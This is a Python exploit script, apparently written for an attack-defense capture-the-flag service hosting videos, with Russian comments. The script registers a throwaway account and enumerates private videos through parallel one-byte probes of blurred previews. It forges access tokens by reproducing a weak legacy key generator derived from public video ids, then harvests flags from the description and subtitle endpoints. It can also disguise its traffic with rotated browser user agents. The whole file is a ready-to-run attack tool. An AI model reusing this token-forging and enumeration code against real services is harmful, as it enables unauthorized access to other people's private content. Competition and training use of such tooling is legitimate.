ALPHA-TRAIN2/sploits/tiktak_keygen_forge.py

#!/usr/bin/env python3
import sys
import re
import random
import requests
from concurrent.futures import ThreadPoolExecutor

USE_CUSTOM_USER_AGENT = False
FLAG_RX = re.compile(r"[A-Z0-9]{31}=")

USER_AGENTS = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15",
    "Mozilla/5.0 (X11; Linux x86_64; rv:126.0) Gecko/20100101 Firefox/126.0",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0"
]

PORT = 5000
DEPTH = 3000           # id растут ~500/мин из-за флуда, приватные тонут глубоко
WORKERS = 50
MAX_FORGE_FAILS = 6    # столько подряд отказов /access => команда запатчена
WATCH_RX = re.compile(r"/watch/(\d+)")
FEED_RX = re.compile(r'src="[^"]*preview_(\d+)(_blured)?\.png"')
# echo отдаёт статику ТОЛЬКО на GET (HEAD => 405), поэтому пробуем GET,
# но с Range: качаем один байт вместо всего PNG.
PROBE_HEADERS = {"Range": "bytes=0-0"}
ALPHABET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"


def legacy_token(vid):
    """Восстановлено из keygen/legacy/keygen.a (GenerateToken):

        int seed = n;
        for (i = 0; i < 30; i++) { seed = (seed*17 + 42) % 62; out[i] = alpha[seed]; }

    Никакого ключа -- токен целиком выводится из публичного video id.
    Состояние схлопывается в n%62 после первой итерации, так что на весь
    сервис приходится всего 62 различных токена.
    """
    seed = vid
    out = []
    for _ in range(30):
        seed = (seed * 17 + 42) % 62
        out.append(ALPHABET[seed])
    return "".join(out)


def exploit(target_ip):
    flags = set()

    headers = {}
    if USE_CUSTOM_USER_AGENT:
        headers["User-Agent"] = random.choice(USER_AGENTS)

    # -------------------------------------------------------------------------
    # VULN: server/server.go handleAccess() + keygen/legacy/keygen.a
    #   if keygen.ValidateKey(key, vid) { s.db.AddAccess(ctx, vid, ac.GetId()) }
    #
    # Share-токен приватного видео считается ТОЛЬКО от video id, который виден
    # в /feed. Форжим токен -> POST /access пишет строку в таблицу access ->
    # haveAccess() пропускает нас легально -> /watch отдаёт description, а
    # /vtt/?id=N субтитры. Обе точки, куда чекер кладёт флаг.
    #
    # Патч LFI на этот путь не влияет: сюда мы приходим с чистым числовым id
    # и с настоящей записью о доступе.
    # -------------------------------------------------------------------------
    try:
        s = requests.Session()
        s.headers.update(headers)
        base = f"http://{target_ip}:{PORT}"

        # 1. нужен аккаунт: на /access висит RequiredMiddleware
        login = "".join(random.choices("abcdefghijklmnopqrstuvwxyz", k=10))
        r = s.post(f"{base}/register",
                   data={"login": login, "password": "pw123456"}, timeout=6)
        if r.status_code not in (200, 302):
            print(f"[-] {target_ip}: register -> {r.status_code}", file=sys.stderr, flush=True)
            return flags

        # 2. Приватное видео выдаёт себя размытым превью. /feed показывает лишь
        #    50 последних, а id растут ~500/мин из-за чужого флуда, так что
        #    чекерские приватные ролики лежат на глубине в сотни-тысячи id.
        #    Сканируем диапазон параллельно, по одному байту на пробу.
        feed = s.get(f"{base}/feed", timeout=6).text
        ids = [int(x) for x in WATCH_RX.findall(feed)]
        if not ids:
            print(f"[!] {target_ip}: пустой /feed", file=sys.stderr, flush=True)
            return flags
        top = max(ids)

        def is_private(vid):
            try:
                r = s.get(f"{base}/public/static/preview_{vid}_blured.png",
                          headers=PROBE_HEADERS, timeout=5)
                return vid if r.status_code in (200, 206) else None
            except requests.RequestException:
                return None

        span = range(top, max(0, top - DEPTH), -1)
        with ThreadPoolExecutor(max_workers=WORKERS) as ex:
            private = [v for v in ex.map(is_private, span) if v]
        private.sort(reverse=True)
        print(f"[*] {target_ip}: top={top}, приватных найдено {len(private)}",
              file=sys.stderr, flush=True)

        fails = 0
        for vid in private:
            try:
                w = s.get(f"{base}/watch/{vid}", timeout=6)
            except requests.RequestException:
                continue

            if w.status_code == 200:
                # публичное (или уже открытое) -- флаг всё равно может лежать тут
                flags.update(FLAG_RX.findall(w.text))
                continue
            if w.status_code != 403:
                continue

            # 403 => приватное и доступа нет: форжим токен
            r = s.post(f"{base}/access",
                       data={"videoID": vid, "token": legacy_token(vid)},
                       timeout=6, allow_redirects=False)
            if not r.headers.get("Location", "").endswith(f"/watch/{vid}"):
                fails += 1
                if fails >= MAX_FORGE_FAILS:
                    print(f"[!] {target_ip}: {fails} отказов подряд -- keygen запатчен",
                          file=sys.stderr, flush=True)
                    break
                continue
            fails = 0

            found = set(FLAG_RX.findall(s.get(f"{base}/watch/{vid}", timeout=6).text))
            found |= set(FLAG_RX.findall(
                s.get(f"{base}/vtt/", params={"id": vid}, timeout=6).text))
            if found:
                flags.update(found)
                print(f"[+] {target_ip}: видео {vid} -> {len(found)} флагов",
                      file=sys.stderr, flush=True)

    except requests.RequestException as e:
        print(f"[-] Request failed for {target_ip}: {e}", file=sys.stderr, flush=True)
    # -------------------------------------------------------------------------

    return flags


def main():
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_ip>", file=sys.stderr, flush=True)
        sys.exit(1)

    target_ip = sys.argv[1]

    try:
        found_flags = exploit(target_ip)

        if found_flags is None:
            found_flags = []
        elif isinstance(found_flags, str):
            found_flags = [found_flags]

        for flag in found_flags:
            clean_flag = str(flag).strip()
            if FLAG_RX.fullmatch(clean_flag):
                print(clean_flag, flush=True)

    except Exception as e:
        print(f"[-] Exploit error for {target_ip}: {e}", file=sys.stderr, flush=True)


if __name__ == "__main__":
    main()